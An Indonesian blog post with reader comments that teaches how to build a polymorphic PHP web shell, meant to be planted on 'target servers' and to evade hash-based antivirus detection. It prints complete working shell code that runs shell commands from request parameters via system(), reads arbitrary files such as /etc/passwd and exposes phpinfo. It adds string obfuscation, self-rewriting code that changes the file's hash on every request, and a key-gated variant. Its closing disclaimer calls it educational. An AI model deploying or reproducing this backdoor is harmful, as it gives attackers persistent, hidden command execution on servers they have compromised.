Kamis, 14 Mei 2009

Membuat script PHP SHELL yang berpolymorphic untuk server target

Akhirnya setelah vakum beberapa bulan saya sempat menulis artikel di blog ini lagi. Topik yang saya bahas kali ini ialah PHP programming yang berguna untuk anda yang memiliki backdoor di server target.

Saya tidak akan menjelaskan bahasan tentang PoC atau proof of concept serangan, atau bagaimana caranya mendapatkan akses sehingga bisa memasang PHP SHELL di server. Tapi saya hanya ingin membahas bagaimana menciptakan script PHP SHELL yang lebih sukar untuk dideteksi oleh antivirus di server web.


PHP SHELL ialah sebuah injection script di server website yang berguna untuk mendapatkan akses shell. Dengan sebuah shell kita bisa mendapatkan akses File I/O, database, atau bahkan sistem layaknya seperti hak seorang admin dalam mengelola websitenya. Karena begitu berbahayanya sebuah PHP SHELL di server, biasanya para root mematikan fungsi - fungsi penting PHP yang memiliki fungsi bumerang bagi servernya, seperti fungsi system(). Bahkan antivirus khusus server web pun menjadikan PHP SHELL sebagai target operasi utamanya, selain berbagai macam rootkit backdoor yang lainnya.

Pada umumnya root menggunakan antivirus untuk menscan sistem dan mencari berbagai file yang memiliki hash MD5 berbahaya. Hash MD5 layaknya sebuah sidik jari pada sebuah file. Setiap konten file yang berbeda akan selalu memiliki hash MD5 yang berbeda. Oleh karena itu bisa dibayangkan jika sample PHP SHELL milik anda sudah dimiliki seorang root, maka dia dapat dengan mudah mencari seluruh PHP SHELL yang sudah ditanam diserver dan segera menghapus -bahkan membloknya dari white list running process. Semua ini dilakukan hanya dengan bermodalkan sidik jari PHP SHELL kita. Menyebalkan bukan?hehehe

Lalu bagaimanakah caranya agar sebuah script (apapun itu, tidak hanya PHP SHELL saja) bisa bertahan lebih lama di server target? Bagaimana caranya agar contoh PHP SHELL milik kita yang telah dimiliki admin tidak bisa digunakan dengan mudah untuk mencari lokasi script - script tersebut ditanam?

Polymorphic jawabannya.

Menurut simple saya, polymorphic code adalah sebuah teknik mutasi kode yang dilakukan oleh kode itu sendiri dan berfungsi untuk menyamarkan diri dengan selalu mengubah konten kode yang secara otomatis juga mengubah sidik jari / HASH dari kode tersebut.

Contoh kasus : Saya telah menanam ratusan PHP SHELL di server target dan sialnya, salah satu lokasi PHP SHELL saya telah diketahui oleh root. Maka dengan mudah seorang root akan mencari hash PHP SHELL saya, lalu mencari seluruh file di server yang memiliki hash sama. Nah, dengan PHP SHELL yang dilengkapi polymorphic, hash file yang dimiliki oleh root sudah pasti berbeda dengan ratusan PHP SHELL yang tersebar diservernya, WALAUPUN PADA DASARNYA SELURUH PHP SHELL YG SAYA TANAM IALAH FILE YANG SAMA. Jadi, langkah root untuk mengejar ratusan PHP SHELL lainnya akan jauh lebih sulit, apalagi jika sang root tidak memiliki kemampuan menganalisis kode PHP SHELL kita yang dienkripsi.

Misalnya mini php shell (shell.php) saya seperti ini :


<?
$shell_cmd = $_REQUEST['cmd'];
$shell_file = $_REQUEST['file'];
if ($shell_cmd == 'about') { echo 'PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0'; }
elseif ($shell_cmd == 'readfile') { echo file_get_contents($shell_file); }
elseif ($shell_cmd == 'phpinfo') { phpinfo(); }
else { system($shell_cmd); }
?>


Keterangan fungsinya :


/shell.php?cmd=about
> memunculkan versi php shell (biasanya utk kepentingan update otomatis)

/shell.php?cmd=readfile&file=/etc/passwd
> membaca isi file /etc/passwd di server

/shell.php?cmd=phpinfo
> menampilkan PHPINFO() yang merisikan informasi detil tentang PHP dan server web

/shell.php?cmd=ls -all
> melisting isi work direktori di server


Secara struktur kode, script di atas memiliki 6 string dan 2 nama variabel :

String Array : ('cmd', 'file', 'about', 'PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0', 'readfile', 'phpinfo')
Nama Variable : $shell_cmd dan $shell_file (variabel dengan prefix awalan $shell_ )

Pada kedua kunci utama inilah kita perlu enkripsi dan mutasi kode.
Mengapa? Karena biasanya sebuah string maupun nama variable lebih gampang dicari menggunakan teknik pendekatan konten oleh antivirus. Sehingga tugas kita meminimalisasi hasik pencarian dengan teknik seperti ini dengan cara mengenkripsi dan memutasikan kodenya.

Berikut saya lampirkan kode encrypt/decrypt string sederhana :



function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}



Dan berikut kode polymorphic sederhana yg dibuat berdasarkan struktur kode php shell saya di atas :



function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace("shell_path","refresh",$shell_tmp);
$shell_tmp = str_replace($shell_morphic, "sess".$shell_sess."_", $shell_tmc);
$shell_tmp = str_replace("refresh","shell_path",$shell_tmp);

$fh = fopen($shell_path, 'w') or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}


Langkah - langkah pembentukan kode :
1. Tentukan key untuk enkripsi anda dan simpan di variabel $shell_key, misalnya :
$shell_key = 'rahasia';

2. Enkripsi seluruh string utama yang anda gunakan di kode dengan memanggil fungsi shell_en('stringanda'), misal hasilnya seperti ini :



$shell_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');


3. Tentukan string yang selalu acak untuk memutasi kode dan simpan di variabel $shell_sess, misalnya :


$shell_sess = $_SERVER['REQUEST_TIME']; // mendapatkan string acak dari waktu request http

Berikut kode utuh setelah shell.php saya bubuhkan fungsi enkripsi dan polymorphic



<?
error_reporting(0); // mematikan error notification di kode PHP
$shell_morphic = 'shell_';
$shell_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$shell_key = 'rahasia';
$shell_sess = $_SERVER['REQUEST_TIME'];
$shell_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');
$shell_cmd = $_REQUEST[shell_de($shell_string[0])]; // mengambil request field cmd
$shell_file = $_REQUEST[shell_de($shell_string[1])]; // mengambil request field file

if ($shell_cmd == shell_de($shell_string[2])) { echo shell_de($shell_string[3]); }
elseif ($shell_cmd == shell_de($shell_string[4])) { echo file_get_contents($shell_file); }
elseif ($shell_cmd == shell_de($shell_string[5])) { phpinfo(); }
else { system($shell_cmd); }

function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace("shell_path","shell_path",$shell_tmp);
$shell_tmp = str_replace($shell_morphic, "sess".$shell_sess."_", $shell_tmc);
$shell_tmp = str_replace("shell_path","shell_path",$shell_tmp);

$fh = fopen($shell_path, 'w') or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}
polymorphic();
?>



Sekarang silahkan coba script tersebut di server target anda, dan coba perbedaannya dengan ketika kode setelah dieksekusi :



<?
error_reporting(0); // mematikan error notification di kode PHP
$sess1242301251_morphic = 'sess1242301251_';
$sess1242301251_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$sess1242301251_key = 'rahasia';
$sess1242301251_sess = $_SERVER['REQUEST_TIME'];
$sess1242301251_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');
$sess1242301251_cmd = $_REQUEST[sess1242301251_de($sess1242301251_string[0])]; // mengambil request field cmd
$sess1242301251_file = $_REQUEST[sess1242301251_de($sess1242301251_string[1])]; // mengambil request field file

if ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[2])) { echo sess1242301251_de($sess1242301251_string[3]); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[4])) { echo file_get_contents($sess1242301251_file); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[5])) { phpinfo(); }
else { system($sess1242301251_cmd); }

function sess1242301251_en($str){
global $sess1242301251_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function sess1242301251_de($str){
global $sess1242301251_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

function polymorphic() {
global $sess1242301251_path, $sess1242301251_sess, $sess1242301251_morphic;
$sess1242301251_tmp = file_get_contents($sess1242301251_path);
$sess1242301251_tmc = str_replace("sess1242301251_path","sess1242301251_path",$sess1242301251_tmp);
$sess1242301251_tmp = str_replace($sess1242301251_morphic, "sess".$sess1242301251_sess."_", $sess1242301251_tmc);
$sess1242301251_tmp = str_replace("sess1242301251_path","sess1242301251_path",$sess1242301251_tmp);

$fh = fopen($sess1242301251_path, 'w') or die(core_de($sess1242301251_string[6]));
fwrite($fh, $sess1242301251_tmp);
fclose($fh);
}
polymorphic();
?>


Sudah berubah bukan? Dan struktur kode ini akan selalu berubah ketika kode tersebut dipanggil. Yap, kini anda telah memiliki polymorphic php shell sendiri!

Jika anda ingin PHP SHELL ini lebih privat, maka tentukan $shell_key pribadi anda dan enkripsi seluruh string tadi dengan $shell_key anda. Setelah itu gantilah baris
$shell_key = 'rahasia'; menjadi $shell_key = $_REQUEST['key'];

dengan begitu, maka setiap pemanggilan shell harus menyertakan key enkripsi anda dalam field request, jika keynya tidak sah maka php shell pun tidak akan berfungsi karena proses dekripsinya gagal.
Contoh pemanggilan privat php shellnya :



/shell.php?key=rahasia&cmd=about

coba anda bandingkan dengan pemanggilan biasa seperti ini :
/shell.php?cmd=about



Semoga artikel ini cukup bermanfaat untuk anda yang sedang mencari referensi tentang PHP SHELL, maupun teknik POLYMORPHIC. Maafkan saya atas gaya bahasa yang agak sukar dimengerti karena keterbatasan daya penjelasan saya.

Silahkan kirim email ke saya jika ingin mempelajari lebih dalam materi tersebut.

Akhir kata, silahkan menikmati sajian saya kali ini dengan kepala dingin anda. Setiap materi pembelajaran ditujukan hanya untuk kepentingan edukasi, dan sama sekali bukan provokatif untuk merusak sistem orang lain.

Use it at your own risk..

Salam,
Judotens M.B

9 komentar:

Katim mengatakan...

otak gue ga konek --a

exil0r mengatakan...

Waduh gelap nih

j_zulay mengatakan...

Iya gelap >_<

Anonim mengatakan...

tutornya mantap brow,...ijin copas ya,...than's (by seventsaja)

InsertEnd mengatakan...

Matab,sesuai Dengan yang ana cari nieh..Izin kopas gan.Salam Kenal Dari InsertEnd

Stevin Germy mengatakan...

Visit Di DarK-JusTice-Blogspot.com Ada Cara Ampuh Buat Shell :)

Loker Ilmu IT mengatakan...

Mantep banget nih yang ane cari2 ! (Y) thanks infonya gan

freefilemanager mengatakan...

saya kaga faham , kalo bisa postingan yang ada kode" dan syntax" kya gini dikasih bagian penjelas , fungsi fungsinya . dan diberi warna khusus untuk nama yang kiranya bisa diubah maupun nama yang paten dari program tersebut. oke makasih udah share walau kaga faham :)

Astectic ッ mengatakan...

www.rabiitch.ga